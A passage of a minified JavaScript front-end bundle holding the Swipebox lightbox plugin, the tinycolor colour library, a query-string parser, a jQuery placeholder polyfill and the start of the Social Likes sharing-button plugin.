e||navigator.msMaxTouchPoints,m=!!t.createElementNS&&!!t.createElementNS("http://www.w3.org/2000/svg","svg").createSVGRect,g=e.innerWidth?e.innerWidth:n(e).width(),y=e.innerHeight?e.innerHeight:n(e).height(),v='<div id="swipebox-overlay">\t\t\t\t\t<div id="swipebox-slider"></div>\t\t\t\t\t<div id="swipebox-caption"></div> \t\t<div id="swipebox-action"> \t\t\t<a id="swipebox-close" style="line-height: 0px;"><i class="fa fa-times swipebox-close1"></i> <span class="swipebox-close1">CLOSE</span><span class="swipebox-close2">(or press esc)</span></a> \t\t\t<a id="swipebox-prev"><i class="fa fa-chevron-left"></i></a> \t\t\t<a id="swipebox-next"><i class="fa fa-chevron-right"></i></a> \t\t</div>\t\t\t</div>';c.settings={},c.init=function(){c.settings=n.extend({},l,o),n.isArray(r)?(u=r,a.target=n(e),a.init(c.settings.initialIndexOnArray)):n(t).on("click",d,function(e){if("slide current"===e.target.parentNode.className)return!1;var t,i,o;n.isArray(r)||(a.destroy(),s=n(d),a.actions()),u=[],o||(i="data-rel",o=n(this).attr(i)),o||(i="rel",o=n(this).attr(i)),(s=o&&""!==o&&"nofollow"!==o?f.filter("["+i+'="'+o+'"]'):n(d)).each(function(){var e=null,t=null;n(this).attr("title")&&(e=n(this).attr("title")),n(this).attr("href")&&(t=n(this).attr("href")),u.push({href:t,title:e})}),t=s.index(n(this)),e.preventDefault(),e.stopPropagation(),a.target=n(e.target),a.init(t)})},a={init:function(e){c.settings.beforeOpen&&c.settings.beforeOpen(),this.target.trigger("swipebox-start"),n.swipebox.isOpen=!0,this.build(),this.openSlide(e),this.openMedia(e),this.preloadMedia(e+1),this.preloadMedia(e-1),c.settings.afterOpen&&c.settings.afterOpen()},build:function(){var e,t=this;n("body").append(v),t.doCssTrans()&&(n("#swipebox-slider").css({"-webkit-transition":"left 0.4s ease","-moz-transition":"left 0.4s ease","-o-transition":"left 0.4s ease","-khtml-transition":"left 0.4s ease",transition:"left 0.4s ease"}),n("#swipebox-overlay").css({"-webkit-transition":"opacity 1s ease","-moz-transition":"opacity 1s ease","-o-transition":"opacity 1s ease","-khtml-transition":"opacity 1s ease",transition:"opacity 1s ease"})),m&&!0===c.settings.useSVG&&(e=(e=n("#swipebox-action #swipebox-close").css("background-image")).replace("png","svg"),n("#swipebox-action #swipebox-prev,#swipebox-action #swipebox-next,#swipebox-action #swipebox-close").css({"background-image":e})),p&&!0===c.settings.hideBarsOnMobile&&n("#swipebox-action, #swipebox-caption").hide(),n.each(u,function(){n("#swipebox-slider").append('<div class="slide"></div>')}),t.setDim(),t.actions(),h&&t.gesture(),t.keyboard(),t.animBars(),t.resize()},setDim:function(){var t,i,r={};"onorientationchange"in e?e.addEventListener("orientationchange",function(){0===e.orientation?(t=g,i=y):90!==e.orientation&&-90!==e.orientation||(t=y,i=g)},!1):(t=e.innerWidth?e.innerWidth:n(e).width(),i=e.innerHeight?e.innerHeight:n(e).height()),r={width:t,height:i},n("#swipebox-overlay").css(r)},resize:function(){var t=this;n(e).resize(function(){t.setDim()}).resize()},supportTransition:function(){var e,n="transition WebkitTransition MozTransition OTransition msTransition KhtmlTransition".split(" ");for(e=0;e<n.length;e++)if(t.createElement("div").style[n[e]]!==i)return n[e];return!1},doCssTrans:function(){if(c.settings.useCSS&&this.supportTransition())return!0},gesture:function(){var e=this,t=null,i=null,r=!1,o=10,a=50,s={},l={},u=n("#swipebox-caption, #swipebox-action"),d=n("#swipebox-slider");u.addClass("visible-bars"),e.setTimeout(),n("body").bind("touchstart",function(e){return n(this).addClass("touching"),l=e.originalEvent.targetTouches[0],s.pageX=e.originalEvent.targetTouches[0].pageX,s.pageY=e.originalEvent.targetTouches[0].pageY,n(".touching").bind("touchmove",function(e){if(e.preventDefault(),e.stopPropagation(),l=e.originalEvent.targetTouches[0],c.settings.closeBySwipe&&(i=l.pageY-s.pageY,Math.abs(i)>=a||r)){var t=.75-Math.abs(i)/d.height();d.css({top:i+"px"}),d.css({opacity:t}),r=!0}}),!1}).bind("touchend",function(a){if(a.preventDefault(),a.stopPropagation(),c.settings.closeBySwipe){if(d.css("opacity")<=.5){var f=i>0?d.height():-d.height();d.animate({top:f+"px",opacity:0},300,function(){e.closeSlide()})}else d.animate({top:0,opacity:1},300);if(r)return void(r=!1)}(t=l.pageX-s.pageX)>=o?e.getPrev():t<=-o?e.getNext():u.hasClass("visible-bars")?(e.clearTimeout(),e.hideBars()):(e.showBars(),e.setTimeout()),n(".touching").off("touchmove").removeClass("touching")})},setTimeout:function(){if(c.settings.hideBarsDelay>0){var t=this;t.clearTimeout(),t.timeout=e.setTimeout(function(){t.hideBars()},c.settings.hideBarsDelay)}},clearTimeout:function(){e.clearTimeout(this.timeout),this.timeout=null},showBars:function(){var e=n("#swipebox-caption, #swipebox-action");this.doCssTrans()?e.addClass("visible-bars"):(n("#swipebox-caption").animate({top:0},500),n("#swipebox-action").animate({bottom:0},500),setTimeout(function(){e.addClass("visible-bars")},1e3))},hideBars:function(){},animBars:function(){var e=this,t=n("#swipebox-captionX, #swipebox-actionX");t.addClass("visible-bars"),e.setTimeout(),n("#swipebox-slider").click(function(){t.hasClass("visible-bars")||(e.showBars(),e.setTimeout())}),n("#swipebox-action").hover(function(){e.showBars(),t.addClass("visible-bars"),e.clearTimeout()},function(){t.removeClass("visible-bars"),e.setTimeout()})},keyboard:function(){var t=this;n(e).bind("keyup",function(e){e.preventDefault(),e.stopPropagation(),37===e.keyCode?t.getPrev():39===e.keyCode?t.getNext():27===e.keyCode&&t.closeSlide()})},actions:function(){var e=this,t="touchend click";u.length<2?n("#swipebox-prev, #swipebox-next").hide():(n("#swipebox-prev").bind(t,function(t){t.preventDefault(),t.stopPropagation(),e.getPrev(),e.setTimeout()}),n("#swipebox-next").bind(t,function(t){t.preventDefault(),t.stopPropagation(),e.getNext(),e.setTimeout()})),n("#swipebox-close").bind(t,function(){e.closeSlide()})},setSlide:function(e,t){t=t||!1;var i=n("#swipebox-slider");this.doCssTrans()?i.css({left:100*-e+"%"}):i.animate({left:100*-e+"%"}),n("#swipebox-slider .slide").removeClass("current"),n("#swipebox-slider .slide").eq(e).addClass("current"),this.setTitle(e),t&&i.fadeIn(),n("#swipebox-prev, #swipebox-next").removeClass("disabled"),0===e?n("#swipebox-prev").addClass("disabled"):e===u.length-1&&n("#swipebox-next").addClass("disabled")},openSlide:function(t){n("html").addClass("swipebox-html"),h&&n("html").addClass("swipebox-touch"),n(e).trigger("resize"),this.setSlide(t,!0)},preloadMedia:function(e){var t=this,n=null;u[e]!==i&&(n=u[e].href),t.isVideo(n)?t.openMedia(e):setTimeout(function(){t.openMedia(e)},1e3)},openMedia:function(e){var t=this,r=null;if(u[e]!==i&&(r=u[e].href),e<0||e>=u.length)return!1;t.isVideo(r)?n("#swipebox-slider .slide").eq(e).html(t.getVideo(r)):t.loadMedia(r,function(){n("#swipebox-slider .slide").eq(e).html(this)})},setTitle:function(e){var t=null;n("#swipebox-caption").empty(),u[e]!==i&&(t=u[e].title),t&&n("#swipebox-caption").append(t)},isVideo:function(e){if(e){if(e.match(/youtube\.com\/watch\?v=([a-zA-Z0-9\-_]+)/)||e.match(/vimeo\.com\/([0-9]*)/)||e.match(/wistia\.com\/([0-9]*)/)||e.match(/youtu\.be\/([a-zA-Z0-9\-_]+)/))return console.log("Its a video! "+e),!0;console.log("Not a videoooo")}},getVideo:function(e){var t="",n=e.match(/watch\?v=([a-zA-Z0-9\-_]+)/),i=e.match(/youtu\.be\/([a-zA-Z0-9\-_]+)/),r=e.match(/vimeo\.com\/([0-9]*)/);return wistiaUrl=e.match(/wistia\.com\/([0-9]*)/),console.log(wistiaUrl),n||i?(i&&(n=i),t='<iframe width="560" height="315" src="//www.youtube.com/embed/'+n[1]+'" frameborder="0" allowfullscreen></iframe>'):r?t='<iframe width="560" height="315" src="//player.vimeo.com/video/'+r[1]+"?byline=0&portrait=0&color="+c.settings.vimeoColor+'" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe>':wistiaUrl&&(t='<iframe width="560" height="315" src="//fast.wistia.net/embed/iframe/'+wistiaUrl[1]+'?autoPlay=1&wmode=transparent" frameborder="0" allowtransparency="true" frameborder="0" scrolling="no" class="wistia_embed" name="wistia_embed" allowfullscreen mozallowfullscreen webkitallowfullscreen oallowfullscreen msallowfullscreen wmode="opaque" ></iframe>'),'<div class="swipebox-video-container" style="max-width:'+c.settings.videomaxWidth+'px"><div class="swipebox-video">'+t+"</div></div>"},loadMedia:function(e,t){if(!this.isVideo(e)){var i=n("<img>").on("load",function(){t.call(i)});i.attr("src",e)}},getNext:function(){var e=this,t=n("#swipebox-slider .slide").index(n("#swipebox-slider .slide.current"));t+1<u.length?(t++,e.setSlide(t),e.preloadMedia(t+1)):(n("#swipebox-slider").addClass("rightSpring"),setTimeout(function(){n("#swipebox-slider").removeClass("rightSpring")},500))},getPrev:function(){var e=n("#swipebox-slider .slide").index(n("#swipebox-slider .slide.current"));e>0?(e--,this.setSlide(e),this.preloadMedia(e-1)):(n("#swipebox-slider").addClass("leftSpring"),setTimeout(function(){n("#swipebox-slider").removeClass("leftSpring")},500))},closeSlide:function(){n("html").removeClass("swipebox-html"),n("html").removeClass("swipebox-touch"),n(e).trigger("resize"),this.destroy()},destroy:function(){n(e).unbind("keyup"),n("body").unbind("touchstart"),n("body").unbind("touchmove"),n("body").unbind("touchend"),n("#swipebox-slider").unbind(),n("#swipebox-overlay").remove(),n.isArray(r)||r.removeData("_swipebox"),this.target&&this.target.trigger("swipebox-destroy"),n.swipebox.isOpen=!1,c.settings.afterClose&&c.settings.afterClose()}},c.init()},n.fn.swipebox=function(e){if(!n.data(this,"_swipebox")){var t=new n.swipebox(this,e);this.data("_swipebox",t)}return this.data("_swipebox")}}(window,document,jQuery),function(){function e(e){var n={r:0,g:0,b:0},r=1,a=!1,s=!1;return"string"==typeof e&&(e=b(e)),"object"==typeof e&&(e.hasOwnProperty("r")&&e.hasOwnProperty("g")&&e.hasOwnProperty("b")?(n=t(e.r,e.g,e.b),a=!0,s="%"===String(e.r).substr(-1)?"prgb":"rgb"):e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("v")?(e.s=g(e.s),e.v=g(e.v),n=o(e.h,e.s,e.v),a=!0,s="hsv"):e.hasOwnProperty("h")&&e.hasOwnProperty("s")&&e.hasOwnProperty("l")&&(e.s=g(e.s),e.l=g(e.l),n=i(e.h,e.s,e.l),a=!0,s="hsl"),e.hasOwnProperty("a")&&(r=e.a)),r=c(r),{ok:a,format:e.format||s,r:C(255,x(n.r,0)),g:C(255,x(n.g,0)),b:C(255,x(n.b,0)),a:r}}function t(e,t,n){return{r:255*u(e,255),g:255*u(t,255),b:255*u(n,255)}}function n(e,t,n){e=u(e,255),t=u(t,255),n=u(n,255);var i,r,o=x(e,t,n),a=C(e,t,n),s=(o+a)/2;if(o==a)i=r=0;else{var l=o-a;switch(r=s>.5?l/(2-o-a):l/(o+a),o){case e:i=(t-n)/l+(t<n?6:0);break;case t:i=(n-e)/l+2;break;case n:i=(e-t)/l+4}i/=6}return{h:i,s:r,l:s}}function i(e,t,n){function i(e,t,n){return n<0&&(n+=1),n>1&&(n-=1),n<1/6?e+6*(t-e)*n:n<.5?t:n<2/3?e+(t-e)*(2/3-n)*6:e}var r,o,a;if(e=u(e,360),t=u(t,100),n=u(n,100),0===t)r=o=a=n;else{var s=n<.5?n*(1+t):n+t-n*t,l=2*n-s;r=i(l,s,e+1/3),o=i(l,s,e),a=i(l,s,e-1/3)}return{r:255*r,g:255*o,b:255*a}}function r(e,t,n){e=u(e,255),t=u(t,255),n=u(n,255);var i,r,o=x(e,t,n),a=C(e,t,n),s=o,l=o-a;if(r=0===o?0:l/o,o==a)i=0;else{switch(o){case e:i=(t-n)/l+(t<n?6:0);break;case t:i=(n-e)/l+2;break;case n:i=(e-t)/l+4}i/=6}return{h:i,s:r,v:s}}function o(e,t,n){e=6*u(e,360),t=u(t,100),n=u(n,100);var i=S.floor(e),r=e-i,o=n*(1-t),a=n*(1-r*t),s=n*(1-(1-r)*t),l=i%6;return{r:255*[n,a,o,o,s,n][l],g:255*[s,n,n,a,o,o][l],b:255*[o,o,s,n,n,a][l]}}function a(e,t,n,i){var r=[m(k(e).toString(16)),m(k(t).toString(16)),m(k(n).toString(16))];return i&&r[0].charAt(0)==r[0].charAt(1)&&r[1].charAt(0)==r[1].charAt(1)&&r[2].charAt(0)==r[2].charAt(1)?r[0].charAt(0)+r[1].charAt(0)+r[2].charAt(0):r.join("")}function s(e,t,n,i){return[m(y(i)),m(k(e).toString(16)),m(k(t).toString(16)),m(k(n).toString(16))].join("")}function l(e){var t={};for(var n in e)e.hasOwnProperty(n)&&(t[e[n]]=n);return t}function c(e){return e=parseFloat(e),(isNaN(e)||e<0||e>1)&&(e=1),e}function u(e,t){p(e)&&(e="100%");var n=h(e);return e=C(t,x(0,parseFloat(e))),n&&(e=parseInt(e*t,10)/100),S.abs(e-t)<1e-6?1:e%t/parseFloat(t)}function d(e){return C(1,x(0,e))}function f(e){return parseInt(e,16)}function p(e){return"string"==typeof e&&-1!=e.indexOf(".")&&1===parseFloat(e)}function h(e){return"string"==typeof e&&-1!=e.indexOf("%")}function m(e){return 1==e.length?"0"+e:""+e}function g(e){return e<=1&&(e=100*e+"%"),e}function y(e){return Math.round(255*parseFloat(e)).toString(16)}function v(e){return f(e)/255}function b(e){e=e.replace(_,"").replace(T,"").toLowerCase();var t,n=!1;if(D[e])e=D[e],n=!0;else if("transparent"==e)return{r:0,g:0,b:0,a:0,format:"name"};return(t=L.rgb.exec(e))?{r:t[1],g:t[2],b:t[3]}:(t=L.rgba.exec(e))?{r:t[1],g:t[2],b:t[3],a:t[4]}:(t=L.hsl.exec(e))?{h:t[1],s:t[2],l:t[3]}:(t=L.hsla.exec(e))?{h:t[1],s:t[2],l:t[3],a:t[4]}:(t=L.hsv.exec(e))?{h:t[1],s:t[2],v:t[3]}:(t=L.hex8.exec(e))?{a:v(t[1]),r:f(t[2]),g:f(t[3]),b:f(t[4]),format:n?"name":"hex8"}:(t=L.hex6.exec(e))?{r:f(t[1]),g:f(t[2]),b:f(t[3]),format:n?"name":"hex"}:!!(t=L.hex3.exec(e))&&{r:f(t[1]+""+t[1]),g:f(t[2]+""+t[2]),b:f(t[3]+""+t[3]),format:n?"name":"hex"}}var _=/^[\s,#]+/,T=/\s+$/,w=0,S=Math,k=S.round,C=S.min,x=S.max,E=S.random,$=function I(t,n){if(n=n||{},(t=t||"")instanceof I)return t;if(!(this instanceof I))return new I(t,n);var i=e(t);this._r=i.r,this._g=i.g,this._b=i.b,this._a=i.a,this._roundA=k(100*this._a)/100,this._format=n.format||i.format,this._gradientType=n.gradientType,this._r<1&&(this._r=k(this._r)),this._g<1&&(this._g=k(this._g)),this._b<1&&(this._b=k(this._b)),this._ok=i.ok,this._tc_id=w++};$.prototype={isValid:function(){return this._ok},getFormat:function(){return this._format},getAlpha:function(){return this._a},setAlpha:function(e){this._a=c(e),this._roundA=k(100*this._a)/100},toHsv:function(){var e=r(this._r,this._g,this._b);return{h:360*e.h,s:e.s,v:e.v,a:this._a}},toHsvString:function(){var e=r(this._r,this._g,this._b),t=k(360*e.h),n=k(100*e.s),i=k(100*e.v);return 1==this._a?"hsv("+t+", "+n+"%, "+i+"%)":"hsva("+t+", "+n+"%, "+i+"%, "+this._roundA+")"},toHsl:function(){var e=n(this._r,this._g,this._b);return{h:360*e.h,s:e.s,l:e.l,a:this._a}},toHslString:function(){var e=n(this._r,this._g,this._b),t=k(360*e.h),i=k(100*e.s),r=k(100*e.l);return 1==this._a?"hsl("+t+", "+i+"%, "+r+"%)":"hsla("+t+", "+i+"%, "+r+"%, "+this._roundA+")"},toHex:function(e){return a(this._r,this._g,this._b,e)},toHexString:function(e){return"#"+this.toHex(e)},toHex8:function(){return s(this._r,this._g,this._b,this._a)},toHex8String:function(){return"#"+this.toHex8()},toRgb:function(){return{r:k(this._r),g:k(this._g),b:k(this._b),a:this._a}},toRgbString:function(){return 1==this._a?"rgb("+k(this._r)+", "+k(this._g)+", "+k(this._b)+")":"rgba("+k(this._r)+", "+k(this._g)+", "+k(this._b)+", "+this._roundA+")"},toPercentageRgb:function(){return{r:k(100*u(this._r,255))+"%",g:k(100*u(this._g,255))+"%",b:k(100*u(this._b,255))+"%",a:this._a}},toPercentageRgbString:function(){return 1==this._a?"rgb("+k(100*u(this._r,255))+"%, "+k(100*u(this._g,255))+"%, "+k(100*u(this._b,255))+"%)":"rgba("+k(100*u(this._r,255))+"%, "+k(100*u(this._g,255))+"%, "+k(100*u(this._b,255))+"%, "+this._roundA+")"},toName:function(){return 0===this._a?"transparent":!(this._a<1)&&(F[a(this._r,this._g,this._b,!0)]||!1)},toFilter:function(e){var t="#"+s(this._r,this._g,this._b,this._a),n=t,i=this._gradientType?"GradientType = 1, ":"";e&&(n=$(e).toHex8String());return"progid:DXImageTransform.Microsoft.gradient("+i+"startColorstr="+t+",endColorstr="+n+")"},toString:function(e){var t=!!e;e=e||this._format;var n=!1,i=this._a<1&&this._a>=0;return t||!i||"hex"!==e&&"hex6"!==e&&"hex3"!==e&&"name"!==e?("rgb"===e&&(n=this.toRgbString()),"prgb"===e&&(n=this.toPercentageRgbString()),"hex"!==e&&"hex6"!==e||(n=this.toHexString()),"hex3"===e&&(n=this.toHexString(!0)),"hex8"===e&&(n=this.toHex8String()),"name"===e&&(n=this.toName()),"hsl"===e&&(n=this.toHslString()),"hsv"===e&&(n=this.toHsvString()),n||this.toHexString()):"name"===e&&0===this._a?this.toName():this.toRgbString()}},$.fromRatio=function(e,t){if("object"==typeof e){var n={};for(var i in e)e.hasOwnProperty(i)&&(n[i]="a"===i?e[i]:g(e[i]));e=n}return $(e,t)},$.equals=function(e,t){return!(!e||!t)&&$(e).toRgbString()==$(t).toRgbString()},$.random=function(){return $.fromRatio({r:E(),g:E(),b:E()})},$.desaturate=function(e,t){t=0===t?0:t||10;var n=$(e).toHsl();return n.s-=t/100,n.s=d(n.s),$(n)},$.saturate=function(e,t){t=0===t?0:t||10;var n=$(e).toHsl();return n.s+=t/100,n.s=d(n.s),$(n)},$.greyscale=function(e){return $.desaturate(e,100)},$.lighten=function(e,t){t=0===t?0:t||10;var n=$(e).toHsl();return n.l+=t/100,n.l=d(n.l),$(n)},$.brighten=function(e,t){t=0===t?0:t||10;var n=$(e).toRgb();return n.r=x(0,C(255,n.r-k(-t/100*255))),n.g=x(0,C(255,n.g-k(-t/100*255))),n.b=x(0,C(255,n.b-k(-t/100*255))),$(n)},$.darken=function(e,t){t=0===t?0:t||10;var n=$(e).toHsl();return n.l-=t/100,n.l=d(n.l),$(n)},$.complement=function(e){var t=$(e).toHsl();return t.h=(t.h+180)%360,$(t)},$.triad=function(e){var t=$(e).toHsl(),n=t.h;return[$(e),$({h:(n+120)%360,s:t.s,l:t.l}),$({h:(n+240)%360,s:t.s,l:t.l})]},$.tetrad=function(e){var t=$(e).toHsl(),n=t.h;return[$(e),$({h:(n+90)%360,s:t.s,l:t.l}),$({h:(n+180)%360,s:t.s,l:t.l}),$({h:(n+270)%360,s:t.s,l:t.l})]},$.splitcomplement=function(e){var t=$(e).toHsl(),n=t.h;return[$(e),$({h:(n+72)%360,s:t.s,l:t.l}),$({h:(n+216)%360,s:t.s,l:t.l})]},$.analogous=function(e,t,n){t=t||6,n=n||30;var i=$(e).toHsl(),r=360/n,o=[$(e)];for(i.h=(i.h-(r*t>>1)+720)%360;--t;)i.h=(i.h+r)%360,o.push($(i));return o},$.monochromatic=function(e,t){t=t||6;for(var n=$(e).toHsv(),i=n.h,r=n.s,o=n.v,a=[],s=1/t;t--;)a.push($({h:i,s:r,v:o})),o=(o+s)%1;return a},$.readability=function(e,t){ var n=$(e).toRgb(),i=$(t).toRgb(),r=(299*n.r+587*n.g+114*n.b)/1e3,o=(299*i.r+587*i.g+114*i.b)/1e3,a=Math.max(n.r,i.r)-Math.min(n.r,i.r)+Math.max(n.g,i.g)-Math.min(n.g,i.g)+Math.max(n.b,i.b)-Math.min(n.b,i.b);return{brightness:Math.abs(r-o),color:a}},$.readable=function(e,t){var n=$.readability(e,t);return n.brightness>125&&n.color>500},$.mostReadable=function(e,t){for(var n=null,i=0,r=!1,o=0;o<t.length;o++){var a=$.readability(e,t[o]),s=a.brightness>125&&a.color>500,l=a.brightness/125*3+a.color/500;(s&&!r||s&&r&&l>i||!s&&!r&&l>i)&&(r=s,i=l,n=$(t[o]))}return n};var A,M,P,D=$.names={aliceblue:"f0f8ff",antiquewhite:"faebd7",aqua:"0ff",aquamarine:"7fffd4",azure:"f0ffff",beige:"f5f5dc",bisque:"ffe4c4",black:"000",blanchedalmond:"ffebcd",blue:"00f",blueviolet:"8a2be2",brown:"a52a2a",burlywood:"deb887",burntsienna:"ea7e5d",cadetblue:"5f9ea0",chartreuse:"7fff00",chocolate:"d2691e",coral:"ff7f50",cornflowerblue:"6495ed",cornsilk:"fff8dc",crimson:"dc143c",cyan:"0ff",darkblue:"00008b",darkcyan:"008b8b",darkgoldenrod:"b8860b",darkgray:"a9a9a9",darkgreen:"006400",darkgrey:"a9a9a9",darkkhaki:"bdb76b",darkmagenta:"8b008b",darkolivegreen:"556b2f",darkorange:"ff8c00",darkorchid:"9932cc",darkred:"8b0000",darksalmon:"e9967a",darkseagreen:"8fbc8f",darkslateblue:"483d8b",darkslategray:"2f4f4f",darkslategrey:"2f4f4f",darkturquoise:"00ced1",darkviolet:"9400d3",deeppink:"ff1493",deepskyblue:"00bfff",dimgray:"696969",dimgrey:"696969",dodgerblue:"1e90ff",firebrick:"b22222",floralwhite:"fffaf0",forestgreen:"228b22",fuchsia:"f0f",gainsboro:"dcdcdc",ghostwhite:"f8f8ff",gold:"ffd700",goldenrod:"daa520",gray:"808080",green:"008000",greenyellow:"adff2f",grey:"808080",honeydew:"f0fff0",hotpink:"ff69b4",indianred:"cd5c5c",indigo:"4b0082",ivory:"fffff0",khaki:"f0e68c",lavender:"e6e6fa",lavenderblush:"fff0f5",lawngreen:"7cfc00",lemonchiffon:"fffacd",lightblue:"add8e6",lightcoral:"f08080",lightcyan:"e0ffff",lightgoldenrodyellow:"fafad2",lightgray:"d3d3d3",lightgreen:"90ee90",lightgrey:"d3d3d3",lightpink:"ffb6c1",lightsalmon:"ffa07a",lightseagreen:"20b2aa",lightskyblue:"87cefa",lightslategray:"789",lightslategrey:"789",lightsteelblue:"b0c4de",lightyellow:"ffffe0",lime:"0f0",limegreen:"32cd32",linen:"faf0e6",magenta:"f0f",maroon:"800000",mediumaquamarine:"66cdaa",mediumblue:"0000cd",mediumorchid:"ba55d3",mediumpurple:"9370db",mediumseagreen:"3cb371",mediumslateblue:"7b68ee",mediumspringgreen:"00fa9a",mediumturquoise:"48d1cc",mediumvioletred:"c71585",midnightblue:"191970",mintcream:"f5fffa",mistyrose:"ffe4e1",moccasin:"ffe4b5",navajowhite:"ffdead",navy:"000080",oldlace:"fdf5e6",olive:"808000",olivedrab:"6b8e23",orange:"ffa500",orangered:"ff4500",orchid:"da70d6",palegoldenrod:"eee8aa",palegreen:"98fb98",paleturquoise:"afeeee",palevioletred:"db7093",papayawhip:"ffefd5",peachpuff:"ffdab9",peru:"cd853f",pink:"ffc0cb",plum:"dda0dd",powderblue:"b0e0e6",purple:"800080",red:"f00",rosybrown:"bc8f8f",royalblue:"4169e1",saddlebrown:"8b4513",salmon:"fa8072",sandybrown:"f4a460",seagreen:"2e8b57",seashell:"fff5ee",sienna:"a0522d",silver:"c0c0c0",skyblue:"87ceeb",slateblue:"6a5acd",slategray:"708090",slategrey:"708090",snow:"fffafa",springgreen:"00ff7f",steelblue:"4682b4",tan:"d2b48c",teal:"008080",thistle:"d8bfd8",tomato:"ff6347",turquoise:"40e0d0",violet:"ee82ee",wheat:"f5deb3",white:"fff",whitesmoke:"f5f5f5",yellow:"ff0",yellowgreen:"9acd32"},F=$.hexNames=l(D),L=(M="[\\s|\\(]+("+(A="(?:"+"[-\\+]?\\d*\\.\\d+%?"+")|(?:"+"[-\\+]?\\d+%?"+")")+")[,|\\s]+("+A+")[,|\\s]+("+A+")\\s*\\)?",P="[\\s|\\(]+("+A+")[,|\\s]+("+A+")[,|\\s]+("+A+")[,|\\s]+("+A+")\\s*\\)?",{rgb:new RegExp("rgb"+M),rgba:new RegExp("rgba"+P),hsl:new RegExp("hsl"+M),hsla:new RegExp("hsla"+P),hsv:new RegExp("hsv"+M),hex3:/^([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/,hex6:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/,hex8:/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/});"undefined"!=typeof module&&module.exports?module.exports=$:"function"==typeof define&&define.amd?define(function(){return $}):window.tinycolor=$}(),function(e){var t=/([^&=]+)=?([^&]*)/g,n=function(e){return decodeURIComponent(e.replace(/\+/g," "))};e.parseParams=function(i){function r(t,n,i){if(-1!==(n+="").indexOf(".")){var o=n.split("."),a=n.split(/\.(.+)?/)[1];t[o[0]]||(t[o[0]]={}),""!==a?r(t[o[0]],a,i):console.warn('parseParams :: empty property in key "'+n+'"')}else if(-1!==n.indexOf("[")){n=(o=n.split("["))[0];var s=(o=o[1].split("]"))[0];""==s?(t||(t={}),t[n]&&e.isArray(t[n])||(t[n]=[]),t[n].push(i)):(t||(t={}),t[n]&&e.isArray(t[n])||(t[n]=[]),t[n][parseInt(s)]=i)}else t||(t={}),t[n]=i}""===(i+="")&&(i=window.location+"");var o,a={};if(i){if(-1!==i.indexOf("#")&&(i=i.substr(0,i.indexOf("#"))),-1===i.indexOf("?"))return{};if(""==(i=i.substr(i.indexOf("?")+1,i.length)))return{};for(;o=t.exec(i);){r(a,n(o[1]),n(o[2]))}}return a}}(jQuery),function(e,t,n){function i(e){var t={},i=/^jQuery\d+$/;return n.each(e.attributes,function(e,n){n.specified&&!i.test(n.name)&&(t[n.name]=n.value)}),t}function r(e,t){var i=this,r=n(i);if(i.value==r.attr("placeholder")&&r.hasClass("placeholder"))if(r.data("placeholder-password")){if(r=r.hide().next().show().attr("id",r.removeAttr("id").data("placeholder-id")),!0===e)return r[0].value=t;r.focus()}else i.value="",r.removeClass("placeholder"),i==a()&&i.select()}function o(){var e,t=this,o=n(t),a=this.id;if(""==t.value){if("password"==t.type){if(!o.data("placeholder-textinput")){try{e=o.clone().attr({type:"text"})}catch(s){e=n("<input>").attr(n.extend(i(this),{type:"text"}))}e.removeAttr("name").data({"placeholder-password":o,"placeholder-id":a}).bind("focus.placeholder",r),o.data({"placeholder-textinput":e,"placeholder-id":a}).before(e)}o=o.removeAttr("id").hide().prev().attr("id",a).show()}o.addClass("placeholder"),o[0].value=o.attr("placeholder")}else o.removeClass("placeholder")}function a(){try{return t.activeElement}catch(e){}}var s,l,c="[object OperaMini]"==Object.prototype.toString.call(e.operamini),u="placeholder"in t.createElement("input")&&!c,d="placeholder"in t.createElement("textarea")&&!c,f=n.fn,p=n.valHooks,h=n.propHooks;u&&d?(l=f.placeholder=function(){return this}).input=l.textarea=!0:((l=f.placeholder=function(){var e=this;return e.filter((u?"textarea":":input")+"[placeholder]").not(".placeholder").bind({"focus.placeholder":r,"blur.placeholder":o}).data("placeholder-enabled",!0).trigger("blur.placeholder"),e}).input=u,l.textarea=d,s={get:function(e){var t=n(e),i=t.data("placeholder-password");return i?i[0].value:t.data("placeholder-enabled")&&t.hasClass("placeholder")?"":e.value},set:function(e,t){var i=n(e),s=i.data("placeholder-password");return s?s[0].value=t:i.data("placeholder-enabled")?(""==t?(e.value=t,e!=a()&&o.call(e)):i.hasClass("placeholder")&&r.call(e,!0,t)||(e.value=t),i):e.value=t}},u||(p.input=s,h.value=s),d||(p.textarea=s,h.value=s),n(function(){n(t).delegate("form","submit.placeholder",function(){var e=n(".placeholder",this).each(r);setTimeout(function(){e.each(o)},10)})}),n(e).bind("beforeunload.placeholder",function(){n(".placeholder").each(function(){this.value=""})}))}(this,document,jQuery), /** * Social Likes * http://sapegin.github.com/social-likes * * Sharing buttons for Russian and worldwide social networks. * * @requires jQuery * @author Artem Sapegin * @copyright 2014 Artem Sapegin (sapegin.me) * @license MIT */ function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)}(function(e,t){"use strict";function n(e,t){this.container=e,this.options=t,this.init()}function i(t,n){this.widget=t,this.options=e.extend({},n),this.detectService(),this.service&&this.init()}function r(e){function t(e,t){return t.toUpper()}var n={},i=e.data();for(var r in i){var o=i[r];"yes"===o?o=!0:"no"===o&&(o=!1),n[r.replace(/-(\w)/g,t)]=o}return n}function o(e,t){return a(e,t,encodeURIComponent)}function a(e,t,n){return e.replace(/\{([^\}]+)\}/g,function(e,i){return i in t?n?n(t[i]):t[i]:e})}function s(e,t){var n=d+e;return n+" "+n+"_"+t}function l(t,n){function i(a){"keydown"===a.type&&27!==a.which||e(a.target).closest(t).length||(t.removeClass(f),r.off(o,i),e.isFunction(n)&&n())}var r=e(document),o="click touchstart keydown";r.on(o,i)}function c(e){var t=10;if(document.documentElement.getBoundingClientRect){var n=parseInt(e.css("left"),10),i=parseInt(e.css("top"),10),r=e[0].getBoundingClientRect();r.left<t?e.css("left",t-r.left+n):r.right>window.innerWidth-t&&e.css("left",window.innerWidth-r.right-t+n),r.top<t?e.css("top",t-r.top+i):r.bottom>window.innerHeight-t&&e.css("top",window.innerHeight-r.bottom-t+i)}e.addClass(f)}var 